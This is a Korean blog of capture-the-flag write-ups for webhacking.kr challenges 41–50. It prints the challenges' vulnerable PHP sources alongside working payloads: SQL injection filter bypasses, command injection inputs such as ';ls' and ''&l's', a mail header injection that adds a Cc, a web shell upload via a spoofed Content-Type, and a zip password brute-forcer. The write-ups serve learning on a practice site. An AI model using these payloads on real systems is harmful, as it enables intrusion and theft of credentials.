늘모자란, 개발

늘모자란, 개발



어디서 많이 본 화면이다.

<html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1258110000) exit();
?>
<!-- index.phps -->

<?
if($_GET[id] && $_GET[pw])
{
 
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');


foreach($_GET as $ck)
{
if(eregi("from",$ck)) exit();
if(eregi("pw",$ck)) exit();
if(eregi("\(",$ck)) exit();
if(eregi("\)",$ck)) exit();
if(eregi(" ",$ck)) exit();
if(eregi("%",$ck)) exit();
if(eregi("=",$ck)) exit();
if(eregi(">",$ck)) exit();
if(eregi("<",$ck)) exit();
if(eregi("@",$ck)) exit();
}


if(eregi("union",$_GET[id])) exit();
 
$data=@mysql_fetch_array(mysql_query("select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));


if($data)
{
if($data[0]=="1") echo("level : 1<br><br>");
if($data[0]=="2") echo("level : 2<br><br>");
} 

if($data[0]=="3")
{
@solve();
}
 
 
if(!$data)
{
echo("Wrong");
}
 
}
 
?>

<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=hahah>hahah</a></center>
<br><br><br>
</body>
</html>


소스를 보니 진짜로 많이 본 화면이다.
혹시 하는마음에 답을 똑같이 넣어봤지만 되진않았다. 되면 어이없을뻔하긴했지만, 멀티바이트 취약점을 똑같이 이용해야하는것 같긴하다.
날로 먹으려는 생각은 일단 좀 버리고 제대로 읽어보도록.. 흠..

결론은 lv를 select해야될 것 같다. 앞선 문장을 다 false로 만들고 or을 넣어서 lv3을 select해야할 것 같은데..
취약점을 이용해 ' 를 무력화 하기 위해 앞에 %a1을 붙여주고, 공백을 필터링하고 있으니 or 대신 || 를 사용해 최소화한다. id에 이렇게 값을 넣어본다.

%a1%27%7C%7C1%23


풀어쓰면 '||1# 인데 이렇게 치면 level1이 나온다. 뒤쪽까지 주석처리에 성공한 모양이지만 잘되나 확인해보자.

%A1%27%7C%7Clv%0Alike%0A2%0A%23


공백을 넣어야하는데 공백문자는 필터링되어있다. 그래서 공백을 %0A로 바꿔주었다. 다 풀어쓰면 이런모양이다.

'||lv
like
1#


얘는 level: 1이 나온다 다된줄 알고 기뻐해서 2로 고쳐서 날려봤는데... 안 나 온 다..
아마 lv2는 없는것 같다. 3으로 고쳐서 해봐도 똑같이 안된다.
값이 없을땐 강제로 만들면 되지 라는 깡패같은 문제를 푼적이 있겠지만, union을 써야한다.

근데 골때리는게 id에는 union을 쓸수가 없다. 기껏 뒤쪽 문장을 주석처리 시켜놨더니 풀고 pw에 써야될 판이다.
pw는 심지어 md5 해쉬화 하고 있다. 이 부분을 다 무력화 시키지 않으면 안되는데.. 감이 안잡혀서 역시 검색찬스를 썼다. 답은 주석이었다.
방금 주석 못쓴다고 하지 않았냐는데 아니다. 쓸 수 있다.
#도 있고 -- 도 있지만, /**/를 완전 까먹고 살아서 이꼴이다.

요컨데 이런 꼴로 만들면 되겠다

"select lv from members where id='/*' and pw=md5('*/ union select 3 #'"


이를 urlencode해서 옮기면 이렇다.

id=%A1%27%2F%2A&pw=%2A%2F%0Aunion%0Aselect%0A3%23


정말 /**/는 상상도 못했다. 다 풀었다 생각했는데 왠 벽이 하나 나타난 느낌이었다...ㅠㅠ
2016/04/02 15:33 2016/04/02 15:33


똑같이 생겼다..

<html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
level : <input name=lv value=1><input type=submit>
</form>
<?
if(time()<1258110000) exit();

if($_GET[lv])
{
if(eregi("union",$_GET[lv])) exit();
if(eregi("from",$_GET[lv])) exit();
if(eregi("select",$_GET[lv])) exit();
if(eregi("or",$_GET[lv])) exit();
if(eregi("and",$_GET[lv])) exit();
if(eregi("\(",$_GET[lv])) exit();
if(eregi("\)",$_GET[lv])) exit();
if(eregi("limit",$_GET[lv])) exit();
if(eregi(",",$_GET[lv])) exit();
if(eregi("/",$_GET[lv])) exit();
if(eregi("by",$_GET[lv])) exit();
if(eregi("desc",$_GET[lv])) exit();
if(eregi("asc",$_GET[lv])) exit();
if(eregi("cash",$_GET[lv])) exit();
if(eregi(" ",$_GET[lv])) exit();
if(eregi("%09",$_GET[lv])) exit();

$q=@mysql_fetch_array(mysql_query("select id from members where lv=$_GET[lv]"));

echo($q[0]);
if($q[0]=="admin") @solve();

}
?>
<!-- index.phps -->
</body>
</html>

필터링이 더 하드코어 해졌다. 이제 괄호도 못쓰게 됐다. 다만, 전에 있었던 0x 라는 필터가 사라졌다.
여전히 or은 있지만, || 를 필터하고 있진 않은것 같다. 대강 사이즈가 나오니 해보자.
저번엔 CHAR를 이용해 우회했는데 이번엔 문자열 전부를 hex-encode해보자. 원리는 완전히 같다.

2||id=0x61646d696e


가볍게 패스.



2016/04/02 14:44 2016/04/02 14:44


약간 랭킹 표시되었던거처럼 모양이 그렇다. index.php를 올리려니까 파일명이 세글자 넘으면안된다고 제지당한 모습이다
글을 일단 쓰면, 스스로 삭제 할 수 있도록 delete 버튼이 생긴다.

delete 버튼을 보니 인자값에 timestamp를 활용하고 있다. timestamp를 그럼 내가 조작해서 보내면 이사람들 글을 지울지 있지 않을까 라는 생각이 들었다. (언제 쓴진 모르니까 막연하다 물론)

한참 돌려놨다가 이게 아닌것 같다. 그래도 배점 350점 짜린데...
아까 세글자 안된다는 뭔가가 마음에 자꾸 걸린다. 파일을 업로드해보기로 한다.



오늘 내내 삭제질만 할뻔했다. 뭔가 새로운 버튼이 생겼다.
클릭해보니 파일명은 그대론데, 내용이 null이다. 아까 커맨드라인 인젝션이 생각이 난다.
&ls도 해보고 &'l's도 해보고 하는데 잘 안된다.

system("echo null > $_FILE[''][name]")


뭐 이런 모양일것 같은데....
세글자안에서 해결 해야되고 두글자는 ls가 확정인 상태. 아까 할떄 필터된 단어중에 ; 이 있었다. 이녀석을 넣어본다.
별 달리 달라지는건 없는것 같...은데? 삭제를 누르니... ?????


이럴때 양키들은 like a charm 이라고 한댔나
원리가 궁금하니 좀 찾아보자면,

&는 앞선 명령어가 성공했을때 연속으로 뒤도 실행되게 하는것이다.
근데 ; 는 원라이너를 위해 앞이 실패하든말든 그냥 구분해주는 느낌으로 쓰는것이다.

고로 업로드할때는 별 문제가 되지 않지만 삭제를 하면 이런 꼴이 되는것이다.

rm upload/;ls


앞에서 의도적으로 오류를 만들고, ls를 하게 해 파일리스트가 나오게 하는 것.
3글자 힌트가 좀 결정적이었던것 같다.

2016/04/02 14:41 2016/04/02 14:41


메일 헤더 인젝션이라고 한다. index.phps도 제공되지 함께 보자

<html>
<head>
<title>Challenge 47</title>
</head>
<body>
Mail Header injection
<pre>
<form method=post action=index.php>
<font size=2>Mail</font> : <input type=text name=email size=50 style=border:0 maxlength=50><input type=submit>
</form>

<?

if($_POST[email])
{

$pass="????";

$header="From: $_POST[email]\r\n";

mail("admin@webhacking.kr","readme","password is $pass",$header);


echo("<script>alert('Done');</script><meta http-equiv=refresh content=1>");
}
?>

</pre>

<!-- index.phps -->

</body>
</html>


별다른 필터링도 없다. 메일 헤더 인젝션이라니까, admin@webhacking.kr로 가는걸 가로 채서 나한테 보내야될 것 같다.
mail header injection으로 많이 찾아봤는데 Reply-To도 있고 Bcc도 있고 Cc도 있는데 그냥 간단하게 cc로 해보도록 한다.
raw를 조작해 요렇게 보내준다. (urlencode하기 귀찮아 그냥 바로 넣었다)

POST http://webhacking.kr/challenge/bonus/bonus-11/index.php HTTP/1.1
Host: webhacking.kr
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://webhacking.kr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://webhacking.kr/challenge/bonus/bonus-11/index.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=; kk=1

email=@naver.com
cc: @naver.com


뭐 이런 모양이다. 패스워드가 화면에 표시되고 문제 끝.
2016/04/02 14:18 2016/04/02 14:18


레벨이 있다..
.
..

<html>
<head>
<title>Challenge 46</title>
</head>
<body>
<form method=get action=index.php>
level : <input name=lv value=1><input type=submit>
</form>
<?
if(time()<1256900400) exit();

?>
<!-- index.phps -->
<?

$_GET[lv]=str_replace(" ","",$_GET[lv]);
$_GET[lv]=str_replace("/","",$_GET[lv]);
$_GET[lv]=str_replace("*","",$_GET[lv]);
$_GET[lv]=str_replace("%","",$_GET[lv]);

if(eregi("union",$_GET[lv])) exit();
if(eregi("select",$_GET[lv])) exit();
if(eregi("from",$_GET[lv])) exit();
if(eregi("challenge",$_GET[lv])) exit();
if(eregi("0x",$_GET[lv])) exit();
if(eregi("limit",$_GET[lv])) exit();
if(eregi("cash",$_GET[lv])) exit();

$q=@mysql_fetch_array(mysql_query("select id,cash from members where lv=$_GET[lv]"));

if($q && $_GET[lv])
{
echo("$q[0] information<br><br>money : $q[1]");

if($q[0]=="admin") @solve();

}
?>

</body>
</html>


일단 눈에 띄는건 0x를 쓸수가 없다. hex match를 할 수 없다는 말 같다.
다행히 "는 쓸 수 있는것 같고. 그럼 여태까지 해왔던게 있으니 쿼리를 만들어보자.

row 에 1이 있으니까 lv에 1을 주면 안되고 false로 만든다.
그리고 공백을 적을 수가 없으니까 일반 OR을 적어도 안되니 || 를 쓴다.
id=admin은 적어줘야 할 것 같은데 왠지 필터링이 된다. CHAR을 사용해보자.
종합하면

2||id=CHAR(97,100,109,105,110)


끝!



2016/04/02 14:05 2016/04/02 14:05


별 희한한걸 많이 봤더니 sql injection이 맘이 편해지는것 같기도하다.

 <html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1256900400) exit();
?>

<!-- index.phps -->

<?

$pw="?????";

if($_GET[id] && $_GET[pw])
{

$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');

if(eregi("admin",$_GET[id])) exit();
if(eregi("from",$_GET[id])) exit();
if(eregi("union",$_GET[id])) exit();
if(eregi("limit",$_GET[id])) exit();
if(eregi("union",$_GET[pw])) exit();
if(eregi("pw",$_GET[pw])) exit();
if(eregi("=",$_GET[pw])) exit();
if(eregi(">",$_GET[pw])) exit();
if(eregi("<",$_GET[pw])) exit();
if(eregi("from",$_GET[pw])) exit();
$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));


if($data)
{
echo("hi $data[0]<br><br>");

if($data[0]=="admin") @solve();
}


if(!$data)
{
echo("Wrong");
}

}

?>

</body>
</html>



필터링이 어마무시하다. 블라인드 인젝션을 걸려고 CHAR도 해보고 별에별 삽질을 다해봤는데 안된다.
소스를 무시하고 하던데로 삽질을 좀 했는데, 문제를 무시하지 말자ㅠㅠ 뜬금없이 인코딩이 등장하면 저걸 써먹어야할 것 아니니..

mb_convert_encoding를 일단 검색해보면 구글에 바로 취약점과 엮어서 검색된다.
내용인 즉슨 구버전 PHP의 function 자체 결함이 있다는것 같은데, 일단 고대로 따라해보기로 한다.
이래도 되나 싶을정도로 한방에 패스된다. 어이가 없다.

이대로 끝나면 너무 허무하니까, 왜 취약점이 발생하는지 소개를 해야겠다.
곧 마주하게 되겠지만, 요기만큼 잘 설명된곳을 찾질 못해서 링크를 하고 끝낸다. 여튼 멀티바이트가 문제다. 다국어... 스레기.. 한국어합시다..
2016/04/02 09:22 2016/04/02 09:22

소스도 별거 없고, 일단 1 적고 들어가본다.
Hello 1 이 돌아오는데 뭔가 이상하다. 창이 넘어가는게 한번 더 거친것 같다.
디버거를 켜고 한번 다시 해보기로 한다.

index.php 에서 form값으로 index.php를 넘겨주는데, 값을 입력받으면 <meta>를 이용해 /index/go.html으로 넘겨준다.
그리고 go.html은 내 아이디가 적혀있다. 따로 인자를 넘기진 않는것 같은데도..

근데 뭐 admin이면 admin을 적어도 되고 공백을 넘겨도 넘어가고, 55글자씩 적어서 보내도 잘 된다.
뭘 의도하는지 잘 모르겠다. 그러던와중에 ; 를 적으니까 인자가 안넘어는걸 발견했다. \도 마찬가지.. 이게 쓸모가 있나 모르겠다

그래서 검색 했더니 Command Injection이라고 한다. ㅡㅡ 이게 파일이 생성되고 있는지 아닌지 밖에선 알 길이 없으니...
그제서야 ls 고 cp고 쳐봤는데 하나도 안된다. 허 참...

어쨌든 이런 느낌의 명령어가 실행되고 있나 보다. 아마 그럼 exec일려나? 이런느낌인것 같다.

exec('echo $_POST['html']' > /index/go.html);


근데 아직도 여기 뭘 적어야되는지 모르겠다. 시스템 명령어를 넣으면 성공인가 싶은데. 대강 찾아보니 ls를 넣어야된다는 것 같다.
그래도 이해가 안되서 결국 command injection으로 검색해보니 OWASP에서 보여주고 있는게 있다.

<?php
print("Please specify the name of the file to delete");
print("<p>");
$file=$_GET['filename'];
system("rm $file");
?>


요컨데, 요런 코드가 있으면

http://127.0.0.1/delete.php?filename=bob.txt;id


이렇게 질의를 하면

Please specify the name of the file to delete
uid=33(www-data) gid=33(www-data) groups=33(www-data) 


이렇게 대꾸 한다는것이다. 요 문제에서도 비슷한걸 수행해야 하는 모양이다.
최종 골은, /index/go.html이 아니라 다른 파일을 만들게 해야된다는것!  근데 bypass를 검색해봤는데 주로 사용되는 " 랑 ; 가 이미 필터링 되고 있다. '는 되는것 같고.. bash의 #가 주석이니까 #를 넣는 방법으로도 잘 안되었다ㅠㅠ

결국 검색을 좀 했는데 (이문제는 정말 부끄럽다;;)
ls가 필터링되고 있으니 간단히 ls 필터링을 회피해야된다는것이다. 그래서 다음과 같이 만들어주면 된다.

'&l's


부끄러우니 첨언을 좀 하자면,
&는 커맨드에서 앞 명령어가 성공적으로 실행되게 되면 다음 명령어도 수행하라는 말이다.
즉 echo hello은 성공적으로 실행되기때문에, 뒤의 ls도 동작시켜 go.html에 같이 쓰게 하는것이다.
(실제로, 'l's라고 적어도 ls명령어를 출력한다 -_-;)

정말 별에별 공격이 다있구나 싶다...
2016/04/02 08:59 2016/04/02 08:59


진짜 웹쉘을 올려야하나? 싶었는데 일단 아무거나 올려본다.
아무 확장자도 없이 올렸는데 바로 Access denied가 돌아왔다

힌트대로 변경해서 보내보기로 한다.
Content-Type을 Content-Type: image/jpeg 로 보내주니 정상업로드가 되는 듯 하다.

Done!<br><br><a href=upload/hihi>check</a>


이런식으로 경로와 위치를 알려주는데, 이것저것 올려봐도 안된다. 그래서 진짜 웹쉘을 구했다 (-_-)
판단을 어찌하는진 모르겠지만, 웹쉘을 업로드하면 완료된다. 좀.. 허무한 문제네.

<hr>
<script>alert('Congratulation!');</script><center><h1><br><br><hr><font color=gray>You have cleared the 43 problems.</font><br><br><font color=green><b>Score + 250</b></font><br><hr></h1></center>
2016/04/02 08:20 2016/04/02 08:20


간단한 테이블인데 범상치가 않다.

<html>
<head>
<title>Challenge 42</title>
</head>
<body>

<table border=1 align=center width=300>
<tr><td width=50>no</td><td>subject</td><td>file</td></tr>
<tr><td>2</td><td>test</td><td>test.txt [<a href=?down=dGVzdC50eHQ=>download</a>]</tr>
<tr><td>1</td><td>read me</td><td>test.zip [<a href=javascript:alert("Access%20Denied")>download</a>]</td></tr>
</table>

<!--

test.zip password is only numbers

-->

</body>
</html>



일단 test.zip은 누르면 무조건 Access Denied이다.
test.txt는 뭔 링크로 이동하게 되는데 끝에 =가 붙은게 심상찮다. base64 decode해보니 말짱히 decode가 된다. test.txt라고 한다.
그럼 test.zip을 base64로 encode한다음에 down 파라미터에 넣어보자

받아진다.
모두 예상했다싶이 zip파일이고 안에는 readme.txt가 들어가있다. 문제는 여기 비번이 걸려있다.........



zip파일 비밀번호 푸는게 webhack? 인가 싶은데.. 일단은.. 주석보니 숫자로만 되있다는 희망적인(?) 말도 있고 풀어봐야겠다...
구글에 crack zip이라고만 쳐도 아주 쏟아지게 나오지만, setup을 해야되길래 그냥 리눅스에서 해보기로 한다.

Archive:  test.zip
[test.zip] readme.txt password:
   skipping: readme.txt              incorrect password


unzip하니까 이녀석이 이렇게 나온다.
근데 왠지 python으로 할 수 있을 것 같았다. 역시, 쉬웠다.

   from zipfile import ZipFile
  
   for i in range(1,10000):
       try:
           with ZipFile('test.zip') as zf:
               zf.extractall(pwd='{}'.format(i))
           print i
       except:
           pass


근데 unzip은 되는데 readme.txt가 말짱하게 안나왔다 ㅋㅋ 결국 얻은 값을 윈도우에서 압축해제해서 확인했다.
URL이 하나 적혀있고, 거기 password가 적혀있다. Auth하면 인증끝!

파일 비번도 어렵게 설정하고, 다운을 못하게 하는 파일이면 제대로 검사하도록 하자

2016/04/02 08:12 2016/04/02 08:12
input type='file' 폼이 하나 있다. 머릿속으로 그려보자.

index.phps가 있으니 이녀석을 보고 ..

 <html>
<head>
<title>Challenge 41</title>
</head>
<body>

<?
$hidden_dir="???";

$pw="???";

if($_FILES[up])
{
$fn=$_FILES[up][name];
$fn=str_replace(".","",$fn);
if(eregi("/",$fn)) exit("no");
if(eregi("\.",$fn)) exit("no");
if(eregi("htaccess",$fn)) exit("no");
if(eregi(".htaccess",$fn)) exit("no");
if(strlen($fn)>10) exit("no");
$fn=str_replace("<","",$fn);
$fn=str_replace(">","",$fn);
$cp=$_FILES[up][tmp_name];

copy($cp,"$hidden_dir/$fn");

$f=@fopen("$hidden_dir/$fn","w");
@fwrite($f,"$pw");
@fclose($f);

echo("Done~");

}


?>

<form method=post action=index.php enctype="multipart/form-data">
<input type=file name=up><input type=submit value='upload'>
</form>
</body>
</html>



받은 이름중에서 . 랑 < , > 때고,
/ 안됨, \. 안됨
htaccess안됨, .htaccess 안됨
글자길이는 10자미만. 근데 아예 안적고 보내도 안되는것 같고.

역경을 모두 패스하면 저장되는것 같다.
요점은 hidden_dir인 것 같은데 얘를 어떻게 해야하나.
필터된 단어를 꾸역꾸역 넣어보자.
.를 넣어보니 no, 완전 공백으로 넣어도 no

< 를 넣어봤는데 뭔가 반응이 다르다. 왜인가.
<와 >는 위에서 필터링되고 있는 녀석들을 다 거치고 내려오게 된다.
즉 PHP는 파일명에 아무것도 안넣게 되고 에러를 뿜게 된다.

<html>
<head>
<title>Challenge 41</title>
</head>
<body>
<b>Warning</b>:  copy(/) [<a href='function.copy'>function.copy</a>]


이렇게 히든 dir을 알게 되면, 아무거나 하나 멀쩡한거 올리고, 경로로 이동해 파일명을 친다.
그럼 패스워드가 적혀있고 이걸 Auth하면 패스!

2016/04/02 07:55 2016/04/02 07:55